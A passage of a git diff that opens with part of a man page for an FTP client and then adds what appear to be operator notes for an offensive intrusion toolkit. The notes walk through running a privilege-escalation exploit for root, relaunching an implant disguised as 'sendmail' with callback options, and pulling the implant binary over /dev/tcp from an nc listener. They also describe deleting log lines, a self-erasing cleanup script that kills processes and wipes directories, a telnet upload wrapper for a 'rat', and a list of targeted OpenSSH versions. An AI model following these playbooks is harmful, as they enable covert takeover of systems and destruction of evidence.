optional +.Ar debug-value +is specified it is used to set the debugging level. +When debugging is on, +.Nm nftp +prints each command sent to the remote machine, preceded +by the string +.Ql \-\-> +.It Xo +.Ic dir +.Op Ar remote-directory +.Op Ar local-file +.Xc +Print a listing of the directory contents in the +directory, +.Ar remote-directory , +and, optionally, placing the output in +.Ar local-file . +If interactive prompting is on, +.Nm nftp +will prompt the user to verify that the last argument is indeed the +target local file for receiving +.Ic dir +output. +If no directory is specified, the current working +directory on the remote machine is used. +If no local +file is specified, or +.Ar local-file +is +.Fl , +output comes to the terminal. +.It Ic disconnect +A synonym for +.Ar close . +.It Ic form Ar format +Set the file transfer +.Ic form +to +.Ar format . +The default format is \*(Lqfile\*(Rq. +.It Ic get Ar remote-file Op Ar local-file +Retrieve the +.Ar remote-file +and store it on the local machine. +If the local +file name is not specified, it is given the same +name it has on the remote machine, subject to +alteration by the current +.Ic case , +.Ic ntrans , +and +.Ic nmap +settings. +The current settings for +.Ic type , +.Ic form , +.Ic mode , +and +.Ic structure +are used while transferring the file. +.It Ic glob +Toggle filename expansion for +.Ic mdelete , +.Ic mget +and +.Ic mput . +If globbing is turned off with +.Ic glob , +the file name arguments +are taken literally and not expanded. +Globbing for +.Ic mput +is done as in +.Xr csh 1 . +For +.Ic mdelete +and +.Ic mget , +each remote file name is expanded +separately on the remote machine and the lists are not merged. +Expansion of a directory name is likely to be +different from expansion of the name of an ordinary file: +the exact result depends on the foreign operating system and ftp server, +and can be previewed by doing +.Ql mls remote-files \- +Note: +.Ic mget +and +.Ic mput +are not meant to transfer +entire directory subtrees of files. +That can be done by +transferring a +.Xr tar 1 +archive of the subtree (in binary mode). +.It Ic hash +Toggle hash-sign (``#'') printing for each data block +transferred. +The size of a data block is 1024 bytes. +.It Ic help Op Ar command +Print an informative message about the meaning of +.Ar command . +If no argument is given, +.Nm nftp +prints a list of the known commands. +.It Ic idle Op Ar seconds +Set the inactivity timer on the remote server to +.Ar seconds +seconds. +If +.Ar seconds +is ommitted, the current inactivity timer is printed. +.It Ic lcd Op Ar directory +Change the working directory on the local machine. +If +no +.Ar directory +is specified, the user's home directory is used. +.It Xo +.Ic \&ls +.Op Ar remote-directory +.Op Ar local-file +.Xc +Print a listing of the contents of a +directory on the remote machine. +The listing includes any system-dependent information that the server +chooses to include; for example, most +.Ux +systems will produce +output from the command +.Ql ls \-l . +(See also +.Ic nlist . ) +If +.Ar remote-directory +is left unspecified, the current working directory is used. +If interactive prompting is on, +.Nm nftp +will prompt the user to verify that the last argument is indeed the +target local file for receiving +.Ic \&ls +output. +If no local file is specified, or if +.Ar local-file +is +.Sq Fl , +the output is sent to the terminal. +.It Ic macdef Ar macro-name +Define a macro. +Subsequent lines are stored as the macro +.Ar macro-name ; +a null line (consecutive newline characters +in a file or +carriage returns from the terminal) terminates macro input mode. +There is a limit of 16 macros and 4096 total characters in all +defined macros. +Macros remain defined until a +.Ic close +command is executed. +The macro processor interprets `$' and `\e' as special characters. +A `$' followed by a number (or numbers) is replaced by the +corresponding argument on the macro invocation command line. +A `$' followed by an `i' signals that macro processor that the +executing macro is to be looped. +On the first pass `$i' is +replaced by the first argument on the macro invocation command line, +on the second pass it is replaced by the second argument, and so on. +A `\e' followed by any character is replaced by that character. +Use the `\e' to prevent special treatment of the `$'. +.It Ic mdelete Op Ar remote-files +Delete the +.Ar remote-files +on the remote machine. +.It Ic mdir Ar remote-files local-file +Like +.Ic dir , +except multiple remote files may be specified. +If interactive prompting is on, +.Nm nftp +will prompt the user to verify that the last argument is indeed the +target local file for receiving +.Ic mdir +output. +.It Ic mget Ar remote-files +Expand the +.Ar remote-files +on the remote machine +and do a +.Ic get +for each file name thus produced. +See +.Ic glob +for details on the filename expansion. +Resulting file names will then be processed according to +.Ic case , +.Ic ntrans , +and +.Ic nmap +settings. +Files are transferred into the local working directory, +which can be changed with +.Ql lcd directory ; +new local directories can be created with +.Ql "\&! mkdir directory" . +.It Ic mkdir Ar directory-name +Make a directory on the remote machine. +.It Ic mls Ar remote-files local-file +Like +.Ic nlist , +except multiple remote files may be specified, +and the +.Ar local-file +must be specified. +If interactive prompting is on, +.Nm nftp +will prompt the user to verify that the last argument is indeed the +target local file for receiving +.Ic mls +output. +.It Ic mode Op Ar mode-name +Set the file transfer +.Ic mode +to +.Ar mode-name . +The default mode is \*(Lqstream\*(Rq mode. +.It Ic modtime Ar file-name +Show the last modification time of the file on the remote machine. +.It Ic mput Ar local-files +Expand wild cards in the list of local files given as arguments +and do a +.Ic put +for each file in the resulting list. +See +.Ic glob +for details of filename expansion. +Resulting file names will then be processed according to +.Ic ntrans +and +.Ic nmap +settings. +.It Ic newer Ar file-name Op Ar local-file +Get the file only if the modification time of the remote file is more +recent that the file on the current system. +If the file does not +exist on the current system, the remote file is considered +.Ic newer . +Otherwise, this command is identical to +.Ar get . +.It Xo +.Ic nlist +.Op Ar remote-directory +.Op Ar local-file +.Xc +Print a list of the files in a +directory on the remote machine. +If +.Ar remote-directory +is left unspecified, the current working directory is used. +If interactive prompting is on, +.Nm nftp +will prompt the user to verify that the last argument is indeed the +target local file for receiving +.Ic nlist +output. +If no local file is specified, or if +.Ar local-file +is +.Fl , +the output is sent to the terminal. +.It Ic nmap Op Ar inpattern outpattern +Set or unset the filename mapping mechanism. +If no arguments are specified, the filename mapping mechanism is unset. +If arguments are specified, remote filenames are mapped during +.Ic mput +commands and +.Ic put +commands issued without a specified remote target filename. +If arguments are specified, local filenames are mapped during +.Ic mget +commands and +.Ic get +commands issued without a specified local target filename. +This command is useful when connecting to a +.No non\- Ns Ux +remote computer +with different file naming conventions or practices. +The mapping follows the pattern set by +.Ar inpattern +and +.Ar outpattern . +.Op Ar Inpattern +is a template for incoming filenames (which may have already been +processed according to the +.Ic ntrans +and +.Ic case +settings). +Variable templating is accomplished by including the +sequences `$1', `$2', ..., `$9' in +.Ar inpattern . +Use `\\' to prevent this special treatment of the `$' character. +All other characters are treated literally, and are used to determine the +.Ic nmap +.Op Ar inpattern +variable values. +For example, given +.Ar inpattern +$1.$2 and the remote file name "mydata.data", $1 would have the value +"mydata", and $2 would have the value "data". +The +.Ar outpattern +determines the resulting mapped filename. +The sequences `$1', `$2', ...., `$9' are replaced by any value resulting +from the +.Ar inpattern +template. +The sequence `$0' is replace by the original filename. +Additionally, the sequence +.Ql Op Ar seq1 , Ar seq2 +is replaced by +.Op Ar seq1 +if +.Ar seq1 +is not a null string; otherwise it is replaced by +.Ar seq2 . +For example, the command +.Pp +.Bd -literal -offset indent -compact +nmap $1.$2.$3 [$1,$2].[$2,file] +.Ed +.Pp +would yield +the output filename "myfile.data" for input filenames "myfile.data" and +"myfile.data.old", "myfile.file" for the input filename "myfile", and +"myfile.myfile" for the input filename ".myfile". +Spaces may be included in +.Ar outpattern , +as in the example: `nmap $1 sed "s/ *$//" > $1' . +Use the `\e' character to prevent special treatment +of the `$','[','[', and `,' characters. +.It Ic ntrans Op Ar inchars Op Ar outchars +Set or unset the filename character translation mechanism. +If no arguments are specified, the filename character +translation mechanism is unset. +If arguments are specified, characters in +remote filenames are translated during +.Ic mput +commands and +.Ic put +commands issued without a specified remote target filename. +If arguments are specified, characters in +local filenames are translated during +.Ic mget +commands and +.Ic get +commands issued without a specified local target filename. +This command is useful when connecting to a +.No non\- Ns Ux +remote computer +with different file naming conventions or practices. +Characters in a filename matching a character in +.Ar inchars +are replaced with the corresponding character in +.Ar outchars . +If the character's position in +.Ar inchars +is longer than the length of +.Ar outchars , +the character is deleted from the file name. +.It Ic open Ar host Op Ar port +Establish a connection to the specified +.Ar host +.Tn FTP +server. +An optional port number may be supplied, +in which case, +.Nm nftp +will attempt to contact an +.Tn FTP +server at that port. +If the +.Ic auto-login +option is on (default), +.Nm nftp +will also attempt to automatically log the user in to +the +.Tn FTP +server (see below). +.It Ic prompt +Toggle interactive prompting. +Interactive prompting +occurs during multiple file transfers to allow the +user to selectively retrieve or store files. +If prompting is turned off (default is on), any +.Ic mget +or +.Ic mput +will transfer all files, and any +.Ic mdelete +will delete all files. +.It Ic proxy Ar ftp-command +Execute an ftp command on a secondary control connection. +This command allows simultaneous connection to two remote ftp +servers for transferring files between the two servers. +The first +.Ic proxy +command should be an +.Ic open , +to establish the secondary control connection. +Enter the command "proxy ?" to see other ftp commands executable on the +secondary connection. +The following commands behave differently when prefaced by +.Ic proxy : +.Ic open +will not define new macros during the auto-login process, +.Ic close +will not erase existing macro definitions, +.Ic get +and +.Ic mget +transfer files from the host on the primary control connection +to the host on the secondary control connection, and +.Ic put , +.Ic mput , +and +.Ic append +transfer files from the host on the secondary control connection +to the host on the primary control connection. +Third party file transfers depend upon support of the ftp protocol +.Dv PASV +command by the server on the secondary control connection. +.It Ic put Ar local-file Op Ar remote-file +Store a local file on the remote machine. +If +.Ar remote-file +is left unspecified, the local file name is used +after processing according to any +.Ic ntrans +or +.Ic nmap +settings +in naming the remote file. +File transfer uses the +current settings for +.Ic type , +.Ic format , +.Ic mode , +and +.Ic structure . +.It Ic pwd +Print the name of the current working directory on the remote +machine. +.It Ic quit +A synonym for +.Ic bye . +.It Ic quote Ar arg1 arg2 ... +The arguments specified are sent, verbatim, to the remote +.Tn FTP +server. +.It Ic recv Ar remote-file Op Ar local-file +A synonym for get. +.It Ic reget Ar remote-file Op Ar local-file +Reget acts like get, except that if +.Ar local-file +exists and is +smaller than +.Ar remote-file , +.Ar local-file +is presumed to be +a partially transferred copy of +.Ar remote-file +and the transfer +is continued from the apparent point of failure. +This command +is useful when transferring very large files over networks that +are prone to dropping connections. +.It Ic remotehelp Op Ar command-name +Request help from the remote +.Tn FTP +server. +If a +.Ar command-name +is specified it is supplied to the server as well. +.It Ic remotestatus Op Ar file-name +With no arguments, show status of remote machine. +If +.Ar file-name +is specified, show status of +.Ar file-name +on remote machine. +.It Xo +.Ic rename +.Op Ar from +.Op Ar to +.Xc +Rename the file +.Ar from +on the remote machine, to the file +.Ar to . +.It Ic reset +Clear reply queue. +This command re-synchronizes command/reply sequencing with the remote +ftp server. +Resynchronization may be necessary following a violation of the ftp protocol +by the remote server. +.It Ic restart Ar marker +Restart the immediately following +.Ic get +or +.Ic put +at the +indicated +.Ar marker . +On +.Ux +systems, marker is usually a byte +offset into the file. +.It Ic rmdir Ar directory-name +Delete a directory on the remote machine. +.It Ic runique +Toggle storing of files on the local system with unique filenames. +If a file already exists with a name equal to the target +local filename for a +.Ic get +or +.Ic mget +command, a ".1" is appended to the name. +If the resulting name matches another existing file, +a ".2" is appended to the original name. +If this process continues up to ".99", an error +message is printed, and the transfer does not take place. +The generated unique filename will be reported. +Note that +.Ic runique +will not affect local files generated from a shell command +(see below). +The default value is off. +.It Ic send Ar local-file Op Ar remote-file +A synonym for put. +.It Ic sendport +Toggle the use of +.Dv PORT +commands. +By default, +.Nm nftp +will attempt to use a +.Dv PORT +command when establishing +a connection for each data transfer. +The use of +.Dv PORT +commands can prevent delays +when performing multiple file transfers. +If the +.Dv PORT +command fails, +.Nm nftp +will use the default data port. +When the use of +.Dv PORT +commands is disabled, no attempt will be made to use +.Dv PORT +commands for each data transfer. +This is useful +for certain +.Tn FTP +implementations which do ignore +.Dv PORT +commands but, incorrectly, indicate they've been accepted. +.It Ic site Ar arg1 arg2 ... +The arguments specified are sent, verbatim, to the remote +.Tn FTP +server as a +.Dv SITE +command. +.It Ic size Ar file-name +Return size of +.Ar file-name +on remote machine. +.It Ic status +Show the current status of +.Nm nftp . +.It Ic struct Op Ar struct-name +Set the file transfer +.Ar structure +to +.Ar struct-name . +By default \*(Lqstream\*(Rq structure is used. +.It Ic sunique +Toggle storing of files on remote machine under unique file names. +Remote ftp server must support ftp protocol +.Dv STOU +command for +successful completion. +The remote server will report unique name. +Default value is off. +.It Ic system +Show the type of operating system running on the remote machine. +.It Ic tenex +Set the file transfer type to that needed to +talk to +.Tn TENEX +machines. +.It Ic trace +Toggle packet tracing. +.It Ic type Op Ar type-name +Set the file transfer +.Ic type +to +.Ar type-name . +If no type is specified, the current type +is printed. +The default type is network +.Tn ASCII . +.It Ic umask Op Ar newmask +Set the default umask on the remote server to +.Ar newmask . +If +.Ar newmask +is ommitted, the current umask is printed. +.It Xo +.Ic user Ar user-name +.Op Ar password +.Op Ar account +.Xc +Identify yourself to the remote +.Tn FTP +server. +If the +.Ar password +is not specified and the server requires it, +.Nm nftp +will prompt the user for it (after disabling local echo). +If an +.Ar account +field is not specified, and the +.Tn FTP +server +requires it, the user will be prompted for it. +If an +.Ar account +field is specified, an account command will +be relayed to the remote server after the login sequence +is completed if the remote server did not require it +for logging in. +Unless +.Nm nftp +is invoked with \*(Lqauto-login\*(Rq disabled, this +process is done automatically on initial connection to +the +.Tn FTP +server. +.It Ic verbose +Toggle verbose mode. +In verbose mode, all responses from +the +.Tn FTP +server are displayed to the user. +In addition, +if verbose is on, when a file transfer completes, statistics +regarding the efficiency of the transfer are reported. +By default, +verbose is on. +.It Ic ? Op Ar command +A synonym for help. +.El +.Pp +Command arguments which have embedded spaces may be quoted with +quote `"' marks. +.Sh ABORTING A FILE TRANSFER +To abort a file transfer, use the terminal interrupt key +(usually Ctrl-C). +Sending transfers will be immediately halted. +Receiving transfers will be halted by sending a ftp protocol +.Dv ABOR +command to the remote server, and discarding any further data received. +The speed at which this is accomplished depends upon the remote +server's support for +.Dv ABOR +processing. +If the remote server does not support the +.Dv ABOR +command, an +.Ql nftp> +prompt will not appear until the remote server has completed +sending the requested file. +.Pp +The terminal interrupt key sequence will be ignored when +.Nm nftp +has completed any local processing and is awaiting a reply +from the remote server. +A long delay in this mode may result from the ABOR processing described +above, or from unexpected behavior by the remote server, including +violations of the nftp protocol. +If the delay results from unexpected remote server behavior, the local +.Nm nftp +program must be killed by hand. +.Sh FILE NAMING CONVENTIONS +Files specified as arguments to +.Nm nftp +commands are processed according to the following rules. +.Bl -enum +.It +If the file name +.Sq Fl +is specified, the +.Ar stdin +(for reading) or +.Ar stdout +(for writing) is used. +.It +If the first character of the file name is +.Sq \&| , +the +remainder of the argument is interpreted as a shell command. +.Nm NFtp +then forks a shell, using +.Xr popen 3 +with the argument supplied, and reads (writes) from the stdout +(stdin). +If the shell command includes spaces, the argument +must be quoted; e.g. +\*(Lq" ls -lt"\*(Rq. +A particularly +useful example of this mechanism is: \*(Lqdir more\*(Rq. +.It +Failing the above checks, if ``globbing'' is enabled, +local file names are expanded +according to the rules used in the +.Xr csh 1 ; +c.f. the +.Ic glob +command. +If the +.Nm nftp +command expects a single local file (.e.g. +.Ic put ) , +only the first filename generated by the "globbing" operation is used. +.It +For +.Ic mget +commands and +.Ic get +commands with unspecified local file names, the local filename is +the remote filename, which may be altered by a +.Ic case , +.Ic ntrans , +or +.Ic nmap +setting. +The resulting filename may then be altered if +.Ic runique +is on. +.It +For +.Ic mput +commands and +.Ic put +commands with unspecified remote file names, the remote filename is +the local filename, which may be altered by a +.Ic ntrans +or +.Ic nmap +setting. +The resulting filename may then be altered by the remote server if +.Ic sunique +is on. +.El +.Sh FILE TRANSFER PARAMETERS +The FTP specification specifies many parameters which may +affect a file transfer. +The +.Ic type +may be one of \*(Lqascii\*(Rq, \*(Lqimage\*(Rq (binary), +\*(Lqebcdic\*(Rq, and \*(Lqlocal byte size\*(Rq (for +.Tn PDP Ns -10's +and +.Tn PDP Ns -20's +mostly). +.Nm NFtp +supports the ascii and image types of file transfer, +plus local byte size 8 for +.Ic tenex +mode transfers. +.Pp +.Nm NFtp +supports only the default values for the remaining +file transfer parameters: +.Ic mode , +.Ic form , +and +.Ic struct . +.Sh ENVIRONMENT +.Nm NFtp +utilizes the following environment variables. +.Bl -tag -width Fl +.It Ev HOME +For default location of a +.Pa .netrc +file, if one exists. +.It Ev SHELL +For default shell. +.El +.Sh SEE ALSO +.Xr ftpd 8 , +RFC 959 +.Sh HISTORY +The +.Nm ftp +command appeared in +.Bx 4.2 . +.Sh BUGS +Correct execution of many commands depends upon proper behavior +by the remote server. +.Pp +An error in the treatment of carriage returns +in the +.Bx 4.2 +ascii-mode transfer code +has been corrected. +This correction may result in incorrect transfers of binary files +to and from +.Bx 4.2 +servers using the ascii type. +Avoid this problem by using the binary image type. diff --git a/Linux/doc/old/bin/README.procsuids.sh.echodolphin b/Linux/doc/old/bin/README.procsuids.sh.echodolphin new file mode 100755 index 0000000..d682f0c --- /dev/null +++ b/Linux/doc/old/bin/README.procsuids.sh.echodolphin @@ -0,0 +1,101 @@ +# +# upload & run the one without comments +# +# Usage: ./nameuploadedas + +######################### ON WITH NOPEN? IF NOT SKIP TO +######################### SECOND HALF BELOW. + +## UPLOAD IT AS sh (No need for -cd if already in a good spot) +-cd /tmp +-ls sh +-put /current/up/procsuids.sh.WITHOUTCOMMENTS sh + +## RUN IT IN A -shell NOTE: it is the EUID that changes not UID, +## so you are looking for: euid=0(root) +-shell +id +./sh +id +rm sh + + + +## FOLLOWING ASSUME NOPEN IS UPLOADED AS sendmail AND IN ./ + +## NOW IN SAME -shell as newly acquired root user, re-run NOPEN +PATH=. sendmail + +## OR USE SOME PORT +PATH=. D=-lPORT sendmail + +## OR A CALLBACK +PATH=. D=-cIPADDR:PORT sendmail + + +## RECONNECT TO NEW NOPEN SERVER AS ROOT + + + +## IF THAT WORKS exit your -shell and -burn that NOPEN (the non-root one) +exit +exit +id +-burn + + +## CLEAN LOGS WITH THE root NOPEN +-logs +date +-tail /var/log/messages +-tail /var/log/kern.messages +-grep "failure.*NONROOTUSER" /var/log/messages + +## IF noclient 3.0.3.2 or better this works best +## Assuming that was all us +-logclean "failure.*NONROOTUSER" /var/log/messages + + + +######################### NOT ON WITH NOPEN? (REPEAT, NOT ON WITH NOPEN) +######################### SECOND HALF BELOW RUNS EXPLOIT IN REGULAR SHELL + +## IN YOUR NON-ROOT SHELL YOU SHOULD BE SOMEPLACE YOU WANT TO CREATE A FILE +ls -al /tmp/.scsi +mkdir /tmp/.scsi +cd /tmp/.scsi + +## IN THE NON-ROOT SHELL TYPE +ls -al sh + +## NOT THERE, RIGHT? GOOD, THEN CONTINUE + +## IN A LOCAL WINDOW, RUN: +echo "cat < sh" ; cat /current/up/procsuids.sh.WITHOUTCOMMENTS ; echo EOF + + +## PASTE THAT OUTPUT, FROM THE cat TO THE LAST EOF INTO TARGET +## NON-ROOT SHELL WINDOW. + +## CHECK THAT IT IS THERE and CHMOD IT +ls -al sh ; chmod 700 sh ; ls -al sh + +## IF YOU GET ROOT YOU'RE GOOD +## NOTE: you are looking for: euid=0(root), not your uid +id +./sh +id + +## GET NOPEN UP AND RUN IT AS ROOT (uudecode/paste is another option +## that requires no callback) + +## LOCALLY START LISTENER ON BINARY noserver +nc -l -p RANDPORT < /current/up/morerats/noserver-3.0.3.1-i586.pc.linux + +## REDIRECTING? YOU'LL NEED THIS +-nrtun RANDPORT + +## THEN IN ROOT REMOTE SHELL WINDOW +cat < /dev/tcp/REDIRIP/RANDPORT > sendmail + + diff --git a/Linux/doc/old/doc/Dubmoat_OpNotes.txt b/Linux/doc/old/doc/Dubmoat_OpNotes.txt new file mode 100755 index 0000000..c2fbb18 --- /dev/null +++ b/Linux/doc/old/doc/Dubmoat_OpNotes.txt @@ -0,0 +1,25 @@ +Slackware 7.0.0 +No standard release. + +OpenSSH_2.5.2p2 +Red Hat 7.1 (Seawolf) +SHA1(7e413f2bcc711e83f135520491eb3a84d215d08c) +DUBMOAT v1.0.0.6 + +OpenSSH_3.4p1 +Red Hat 8.0 (Psyche) +SHA1(53138c98ada1f6850ea41f480b896f10cb988183) +DUBMOAT v1.0.0.4 + +OpenSSH_3.5p1 +Red Hat 9 (Shrike) +SHA1(19c427e5ecd9cd91d7226fdc7531593e59f6074b) +DUBMOAT v1.0.0.1 + +OpenSSH_3.7.1p2 +SuSE Linux 9.0 (i586) +SHA1(3f2c421cc2c3769232ce23a878a7af55cb3373e5) +DUBMOAT v1.0.0.7 + +EOF + diff --git a/Linux/doc/old/doc/README.cup.NOPEN b/Linux/doc/old/doc/README.cup.NOPEN new file mode 100644 index 0000000..516201b --- /dev/null +++ b/Linux/doc/old/doc/README.cup.NOPEN @@ -0,0 +1,70 @@ + +Usage: -gs wearcup [-h | options] + +OPTIONS [defaults] + +-w delay Have cup sleep for this long before firing. ("delay" + can be in the format: [#h][#m]#[s]) [3h] +-p Instead of using fuser to kill, just outright "kill -9" + this NOPEN server's pid and (if not 1) its parent pid. + This can be useful if you have no working directory any + longer and the NOEPN binary is already deleted, but there + is still something you want done AFTER NOPEN is gone (with + -C or -A, or both). +-P pidlist When using -p, also kill -9 these pids. List must be + comma delimited integers greater than one. + NOTE: Use care here, obviously. +-d /dir Use this directory as the one to wipe and/or the one + running binaries that need killing. [NOPEN cwd] +-W Skip the dir wipe ("rm -rf /dir") step. +-D Debug mode--build cup.auto but just show it and exit. +-r rmtname Run cup on target as "name". [cup] +-C Clean some log entries from one or more files. You are + prompted for the file to clean, and the regexp to egrep -v + out of it. This works on Solaris 2.6+ syslogd files and + most any Linux, too. +-t Used with -C, this uses the "touch -r" command to try to + preserve the timestamp of the file(s) being cleaned. + Probably this is not needed--the timestamp is probably + roughly current, anyway. Note that this will leave a + current ctime, though. +-A Run some more commands after cleanup (use -C for egrep -v + style log cleaning, though). You are prompted for the + commands to run. +-T file(s) File names (comma delimited) of binaries in /dir to kill + with fuser (required when -W is used, since we do not want + to assume we kill all of /dir/* in that case). +-F file(s) Full path to target's "fuser" program. Without -F, + -gs wearcup will verify the usual location will work. Can + be a comma delimited list of several files to try. +-R Reset--remove previously set/verified fuser and find it + again. + +NOTE about -C/-A: Keep in mind no one will see any output from these + commands as they are done after the RAT is killed. + +-gs wearcup builds /current/up/cup.auto according to the chosen +options, shows the final result, then allows user to either abort or +continue and upload/run cup.auto on target as "./rmtname &". + +cup.auto will be patterned after the original shell script cup. Cup +stands for "Clean UP" and is most often run on HP, since a running +binary cannot be deleted there. + +When run, cup will delete itself and then sleep the desired delay. Once +the sleep expires or is killed, cup then uses either fuser or kill -9 +to kill the desired processes, and then wipes the desired files and/or +directories. + +-gs wearcup can be run at the beginning of an op. Default sleep time is +three hours. When the op is done, DO NOT BURN NOPEN! Instead, send the +sleep's pid (NOT CUP's pid and NOT NOPEN's pid) a "kill -9". This will +trigger the rest of the commands in the uploaded cup script to execute, +namely killing off the NOPEN server and its children and cleaning and +deleting the directory. + +AGAIN: DO NOT BURN NOPEN WITH -burn WHEN CUP IS REQUIRED TO DELETE + THE NOPEN BINARY RUNNING. + + +-gs wearcup version 2.2.2.2 diff --git a/Linux/doc/old/doc/README.cup.OLD b/Linux/doc/old/doc/README.cup.OLD new file mode 100644 index 0000000..b1cb41f --- /dev/null +++ b/Linux/doc/old/doc/README.cup.OLD @@ -0,0 +1,50 @@ +CUP - a Clean-UP script for HPUX and non-Y2K compliant systems +by Tom B. + +HP-UX will not allow a file to be removed if it +is a binary and currently executing. If you try, +you get errno TEXT FILE BUSY. This could be a +problem for ops since the last thing you'd like +to do is remove nosy (along with other things). + +To remove nosy, you have to start something in the +background that will rm it after nosy terminates. +This can be done in at least 2 ways: + - start an "at" job + - have nosy start a background shell to rm it + +"at" works ok, but if you're not comfortable with +it, here's the 2nd option. + +NOTE: "at" will not work on systems that are still + not Y2K compliant, so "cup" may be your only + alternative + +Starting a background shell is a bit of a problem for +nosy, as it will wait for the process to finish anyway. +That's no good if you need nosy to die first. The +reason why nosy waits is that it's blocking on a read +from the process it just started. So, cup close its +outputs. + +To use: + + upload cup + chmod +x cup + cup & + + +Cup removes itself, and goes to sleep. It wakes up +after either + - 3 hours have passed +or + - the nosy server is killed (with -1 to the client); + in this case, nosy sends a SIGTERM to its process group; + cup traps and ignores it, but its sleep is killed + +Then, cup kills everything using any of the files in the +directory $DIR. Lastly, the $DIR directory is recusively +removed. + +If you are using a tmp directory other than /tmp/.X11R6, +you'll have to change the script. diff --git a/Linux/doc/old/doc/README.procsuids.sh.echodolphin b/Linux/doc/old/doc/README.procsuids.sh.echodolphin new file mode 100755 index 0000000..d682f0c --- /dev/null +++ b/Linux/doc/old/doc/README.procsuids.sh.echodolphin @@ -0,0 +1,101 @@ +# +# upload & run the one without comments +# +# Usage: ./nameuploadedas + +######################### ON WITH NOPEN? IF NOT SKIP TO +######################### SECOND HALF BELOW. + +## UPLOAD IT AS sh (No need for -cd if already in a good spot) +-cd /tmp +-ls sh +-put /current/up/procsuids.sh.WITHOUTCOMMENTS sh + +## RUN IT IN A -shell NOTE: it is the EUID that changes not UID, +## so you are looking for: euid=0(root) +-shell +id +./sh +id +rm sh + + + +## FOLLOWING ASSUME NOPEN IS UPLOADED AS sendmail AND IN ./ + +## NOW IN SAME -shell as newly acquired root user, re-run NOPEN +PATH=. sendmail + +## OR USE SOME PORT +PATH=. D=-lPORT sendmail + +## OR A CALLBACK +PATH=. D=-cIPADDR:PORT sendmail + + +## RECONNECT TO NEW NOPEN SERVER AS ROOT + + + +## IF THAT WORKS exit your -shell and -burn that NOPEN (the non-root one) +exit +exit +id +-burn + + +## CLEAN LOGS WITH THE root NOPEN +-logs +date +-tail /var/log/messages +-tail /var/log/kern.messages +-grep "failure.*NONROOTUSER" /var/log/messages + +## IF noclient 3.0.3.2 or better this works best +## Assuming that was all us +-logclean "failure.*NONROOTUSER" /var/log/messages + + + +######################### NOT ON WITH NOPEN? (REPEAT, NOT ON WITH NOPEN) +######################### SECOND HALF BELOW RUNS EXPLOIT IN REGULAR SHELL + +## IN YOUR NON-ROOT SHELL YOU SHOULD BE SOMEPLACE YOU WANT TO CREATE A FILE +ls -al /tmp/.scsi +mkdir /tmp/.scsi +cd /tmp/.scsi + +## IN THE NON-ROOT SHELL TYPE +ls -al sh + +## NOT THERE, RIGHT? GOOD, THEN CONTINUE + +## IN A LOCAL WINDOW, RUN: +echo "cat < sh" ; cat /current/up/procsuids.sh.WITHOUTCOMMENTS ; echo EOF + + +## PASTE THAT OUTPUT, FROM THE cat TO THE LAST EOF INTO TARGET +## NON-ROOT SHELL WINDOW. + +## CHECK THAT IT IS THERE and CHMOD IT +ls -al sh ; chmod 700 sh ; ls -al sh + +## IF YOU GET ROOT YOU'RE GOOD +## NOTE: you are looking for: euid=0(root), not your uid +id +./sh +id + +## GET NOPEN UP AND RUN IT AS ROOT (uudecode/paste is another option +## that requires no callback) + +## LOCALLY START LISTENER ON BINARY noserver +nc -l -p RANDPORT < /current/up/morerats/noserver-3.0.3.1-i586.pc.linux + +## REDIRECTING? YOU'LL NEED THIS +-nrtun RANDPORT + +## THEN IN ROOT REMOTE SHELL WINDOW +cat < /dev/tcp/REDIRIP/RANDPORT > sendmail + + diff --git a/Linux/doc/old/doc/ftshell.README b/Linux/doc/old/doc/ftshell.README new file mode 100644 index 0000000..05c26dc --- /dev/null +++ b/Linux/doc/old/doc/ftshell.README @@ -0,0 +1,125 @@ +Name: ftshell + + +Update (05 OCT 2004): + +v3.8: Added -V option. See also new usage (via -h) and ChangeLog. + +Update (20 OCT 2003): + +Added -B option. If possible, this execs a /bin/bash (repeating the unsets) +and changes your prompt to date/time/user@host/wdir (a two line prompt). +Added showthis--now ftshell puts the contents of the environment variable +SHOWTHIS onto the banner when entering interactive mode. +Moved that banner into its own proc and moved it closer to the bottom of +the output so visible when everything stops. + +Update (28 JAN 2003): + +Fixed bug in all the which statements and checking that output. +Now it checks for "no" in the which output (as in "no file blah found") +but also confirms that the output has the expected content (i.e., that +the "which perl" output has the string "perl" in it). Added df -k. + +Update (22 JAN 2003): + +Added -q and -Q options to be quiet and quieter when ourtn uses ftshell +with -I. + +Update (17 DEC 2002): + +Now beeps and gives errors in color if unable to upload due to no perl +and no uudecode, leaving user in interactive mode. + +Update (16 DEC 2002): + +Now a Ctrl-C by user exits ftshell with a 1 not 0, so ourtn +will stop hopping. + +Update (15 NOV 2002): + +Now takes -I argument indicating an INCISION connection, which +forces a few commands before going to interactive mode (unsets, +w, date, cd, etc.) In upload mode (-u), these same commands are +done, too. + +Update (23 OCT 2002): + +Now will use perl to uudecode if uudecode not on target, and +upload fails nicely if neither uudecode nor perl is there. + +Added interactive procedure. + +Environment vars A and B used to execute commands on target, +usually the rat and prep commands for running the rat (cd, etc.). + +Now have options -r ratname and -u uploadfile, to upload a local +uploadfile and call it ratname on target as soon as connection +is established. + +Synoposis: + +An expect wrapper used for transfering files. It is intended to +be used with programs such as telent and rlogin to give them the +ability to transfer files over the existing telnet/rlogin connection. + +Usage: + +ftshell command command_args + +e.g. ftshell telnet foo.bar.net + + +Description: + +Run ftshell with some other command such as telnet to get that +telnet session the ability to upload/download files over the +telnet connection. when running, ftshell has a menu which is +access via an escape code. The escape code is '~~'. Typing '?' +at the prompt causes a detailed menu to appear. + +When a file is transfered, it is compressed and uuencoded and +moved to the other system. A display of the number of bytes +transfered is updated at most once per second. +Whe uploading a file that needs compression, one temporary file +is created on the remote system. It is the name of the file with +a .Z appended. + +The compression or uuencodeing will not occur if the file +is already compressed or encoded as determined from its filename. +(e.g. .uu, .Z, .gz, .gz.uu, ...) + +Commands: + +~~g remoteFile [localFile] + Get file from remote system +~~p localFile [remoteFile] + Put file on remote system +~~c [localDir] + Change local directory (cd) or show current one. +~~~ + Send '~' to remote system +~~? + Show detailed menu +~~v + Toggle verbose mode +~~e + Toggle check of exit codes on remote commands +~~^Z + Suspend ftshell + + +Bugs: + +It is assumed the remote system is Unix and has the standard +set of commands available in the default search path. + +It is assumed that uuencode and uudecode as well as compress +are available on the remote system. + +The '~~e' command is an ugly hack to work around a problem with +ftshell not being able to correctly determine the exit status of +commands issuded on the remote system. + +A '/' cannot be in a filename of a file being transfered if that +file is already compressed or uuencoded. [[This might be fixed.]] diff --git a/Linux/doc/old/doc/jackpop.doc b/Linux/doc/old/doc/jackpop.doc new file mode 100644 index 0000000..01daf1e --- 